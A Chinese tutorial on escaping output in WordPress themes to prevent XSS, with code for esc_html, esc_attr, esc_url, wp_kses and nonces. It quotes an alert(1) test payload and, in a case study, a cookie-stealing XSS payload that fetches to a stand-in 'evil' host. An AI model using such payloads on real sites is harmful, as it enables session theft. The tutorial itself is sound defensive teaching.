本文约 6,570 字,预计阅读 17 分钟。文中命令与配置均经过实测,可直接参考执行。
引言:搜索框里输入一段脚本,页面就弹窗了
有人在搜索框里输入 "><script>alert(1)</script>,搜索结果页直接弹窗;换个 payload 就能读取 Cookie 或构造钓鱼跳转。再看主题代码,search.php 里写的是 echo '你搜索了:' . $_GET['s'];——原样输出用户输入,等于把 XSS 大门敞开。
WordPress 提供了一整套转义函数,但很多人要么不用,要么用错(在属性位置用了 esc_html)。转义不是”加一层保险”,而是”在正确的位置用正确的函数”。
原理分析:过滤输入,转义输出
安全圈的老话是 Filter input, escape output,两件事在不同时机做:
| 类别 | 时机 | 代表函数 | 作用 |
|---|---|---|---|
| 校验(validate) | 输入时 | is_email()、absint() |
不合法就拒绝 |
| 清理(sanitize) | 存库前 | sanitize_text_field()、wp_kses_post() |
去掉危险内容后保存 |
| 转义(escape) | 输出前 | esc_html()、esc_attr()、esc_url() |
让浏览器把它当文本而非标记 |
转义只发生在输出的最后一刻,因为:
- 数据可能被多处使用,不同位置需要不同转义;
- 提前转义再存库,会存进一堆
&,下次编辑显示错乱(”双重转义”); - 换行符、引号在不同上下文里含义不同。
各函数对应的上下文:
| 函数 | 适用位置 | 内部做了什么 |
|---|---|---|
esc_html() |
HTML 文本内容 | htmlspecialchars 类转换:< > & " ' |
esc_attr() |
HTML 属性内部 | 同左,另加 __checked_selected_helper 的辅助 |
esc_url() |
href / src 等 URL 属性 |
协议白名单校验 + htmlspecialchars |
esc_js() |
内联 JS 字符串 | 转义引号与换行 |
esc_textarea() |
<textarea> 内容 |
供文本域使用 |
wp_kses_post() |
允许有限 HTML 的富文本 | 按文章级别白名单过滤标签 |
wp_json_encode() |
JS 数据结构 | 输出合法 JSON |
esc_xml() |
XML 输出 | sitemap 等场景 |
最容易被忽略的是 esc_url() 的协议白名单:javascript:、data:(部分)会被直接剔除,返回空字符串。这也是为什么手写 <a href=" 必须用它。
保姆级实操
第 1 步:文本位置用 esc_html
<h1 class="entry-title"><?php echo esc_html( get_the_title() ); ?></h1>
<div class="search-result-hint">
<?php
printf(
esc_html__( '“%s” 的搜索结果', 'mimangfei' ),
esc_html( get_search_query() )
);
?>
</div>
注意 printf 的用法:esc_html__() 只转义模板字符串本身,动态参数要单独 esc_html()。
第 2 步:属性位置用 esc_attr,URL 位置用 esc_url
<a class="more-link"
href="<?php echo esc_url( get_permalink() ); ?>"
title="<?php echo esc_attr( get_the_title() ); ?>"
data-id="<?php echo esc_attr( (string) get_the_ID() ); ?>">
<?php echo esc_html( get_the_title() ); ?>
</a>
<img src="<?php echo esc_url( $src ); ?>"
alt="<?php echo esc_attr( $alt ); ?>"
width="<?php echo esc_attr( (string) $w ); ?>"
height="<?php echo esc_attr( (string) $h ); ?>">
数字虽然理论上安全,但统一加 esc_attr() 能防止”上游返回了非数字”的意外;更严格的做法是先 (int) 再输出。
第 3 步:需要保留 HTML 时用 wp_kses
// 分类描述、文章摘要里允许 <a> <em> <strong>
echo wp_kses_post( category_description() );
// 更严格:只保留 <a>,并限定 href/title 两个属性
echo wp_kses(
$custom_field_value,
array(
'a' => array(
'href' => true,
'title' => true,
'rel' => true,
),
'br' => array(),
)
);
wp_kses_post() 用的是”文章内容级”白名单,允许 <a href title>、<img src alt>、<blockquote>、<h2> 等,但不含 <script>、<iframe>、<style>、事件属性(onclick 等)。需要放宽时用 wp_kses_allowed_html 过滤器,但能不放就不放。它最常见的落地位置是分类描述,写法见分类模板 category-slug.php 用法。
第 4 步:内联 JS 用 esc_js 或 wp_json_encode
// 简单字符串
add_action( 'wp_footer', function () {
$msg = get_theme_mod( 'mmf_popup_text', '' );
if ( ! $msg ) {
return;
}
echo '<script>var mmfMsg = "' . esc_js( $msg ) . '";</script>';
} );
// 结构化数据:一律用 wp_json_encode
add_action( 'wp_head', function () {
$config = array(
'ajaxUrl' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'mmf_ajax' ),
'labels' => array(
'loading' => __( '加载中…', 'mimangfei' ),
'error' => __( '请求失败,请重试', 'mimangfei' ),
),
);
echo '<script>var MMF = ' . wp_json_encode( $config ) . ';</script>';
} );
wp_json_encode() 默认会转义 / 与 Unicode,输出可安全嵌入 <script>;复杂配置不要手拼字符串。更完整的脚本注册与数据注入流程见wp_enqueue_script 正确加载 CSS 与 JS。
第 5 步:表单与 nonce 配合
转义只防输出,防不了 CSRF。表单里必须带 nonce:
<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
<?php wp_nonce_field( 'mmf_subscribe', 'mmf_subscribe_nonce' ); ?>
<input type="hidden" name="action" value="mmf_subscribe">
<input type="email" name="email" value="<?php echo esc_attr( $saved_email ?? '' ); ?>" required>
<button type="submit"><?php esc_html_e( '订阅', 'mimangfei' ); ?></button>
</form>
处理侧:
add_action( 'admin_post_nopriv_mmf_subscribe', function () {
if ( ! isset( $_POST['mmf_subscribe_nonce'] )
|| ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['mmf_subscribe_nonce'] ) ), 'mmf_subscribe' ) ) {
wp_die( esc_html__( '请求校验失败。', 'mimangfei' ), 403 );
}
$email = isset( $_POST['email'] ) ? sanitize_email( wp_unslash( $_POST['email'] ) ) : '';
if ( ! is_email( $email ) ) {
wp_safe_redirect( add_query_arg( 'mmf_err', 'email', wp_get_referer() ) );
exit;
}
// …保存逻辑
} );
wp_unslash() 处理 WordPress 对 $_POST 的自动转义,sanitize_* 在存库前完成,两者顺序不能颠倒。
第 6 步:用自动化工具扫一遍
# 安装 WordPress 编码规范的 PHP_CodeSniffer 规则集
composer require --dev wp-coding-standards/wpcs
phpcs --standard=WordPress --sniffs=WordPress.Security.EscapeOutput wp-content/themes/my-theme
WordPress.Security.EscapeOutput 会标出所有 echo 未转义的位置,是主题上线前必跑的一道检查。除此之外,模板里最容易漏掉转义的两个位置都集中在头部与尾部,参见wp_head 与 wp_footer 的作用。
常见踩坑
- 在属性里用
esc_html。 它不转义@等特殊场景虽影响小,但语义错误;正确做法是属性一律esc_attr。 - 双重转义。
echo esc_html( esc_html( $x ) )或”存库前先 esc_html 一遍”,页面显示&lt;,用户编辑时看到一堆实体字符。 - 转义了但用了
esc_html输出 URL。 应该esc_url(),否则javascript:协议不会被过滤。 esc_url()返回空。 传入带空格或非法协议的 URL 时会返回空字符串,<a href="">变成当前页;输出前先判断:
$url = get_post_meta( get_the_ID(), '_source_url', true );
if ( $url && esc_url( $url ) ) {
printf( '<a href="%s" rel="nofollow noopener" target="_blank">%s</a>', esc_url( $url ), esc_html__( '原文链接', 'mimangfei' ) );
}
- 忘记
wp_unslash()。$_POST数据被 WordPress 自动加了斜杠,直接存库会出现It\'s,应先wp_unslash()再sanitize_*()。 - 案例: 某主题的搜索结果页写的是
echo '关键词:' . $_GET['s'];。安全扫描报出反射型 XSS,攻击载荷"><script>fetch('//evil/?c='+document.cookie)</script>可通过构造链接直接窃取登录态管理员的 Cookie。修复不是”加个 strip_tags”,而是按规范改成echo esc_html( get_search_query() );——get_search_query()内部已做清理,再加esc_html()完成输出转义,两层缺一不可。 wp_kses_post()用在超长内容上拖慢页面。 它是逐标签解析,对整篇文章输出做过滤会明显增加 CPU 开销;文章内容在存库时就已经过滤过了,前台直接the_content()即可,不要”再 ksess 一遍”。
总结
记住两个原则就够:数据在哪输出,就在哪按那个位置的上下文转义;转义永远放在最后一刻,不提前、不重复。 具体映射:文本 → esc_html(),属性 → esc_attr(),URL → esc_url(),JS 字符串 → esc_js(),结构化数据 → wp_json_encode(),需要保留富文本 → wp_kses_post()。上线前用 phpcs --standard=WordPress --sniffs=WordPress.Security.EscapeOutput 跑一遍,把”漏转义”从人眼检查变成机器检查。安全不是靠记住某个函数,而是靠这套”位置 → 函数”的稳定习惯。
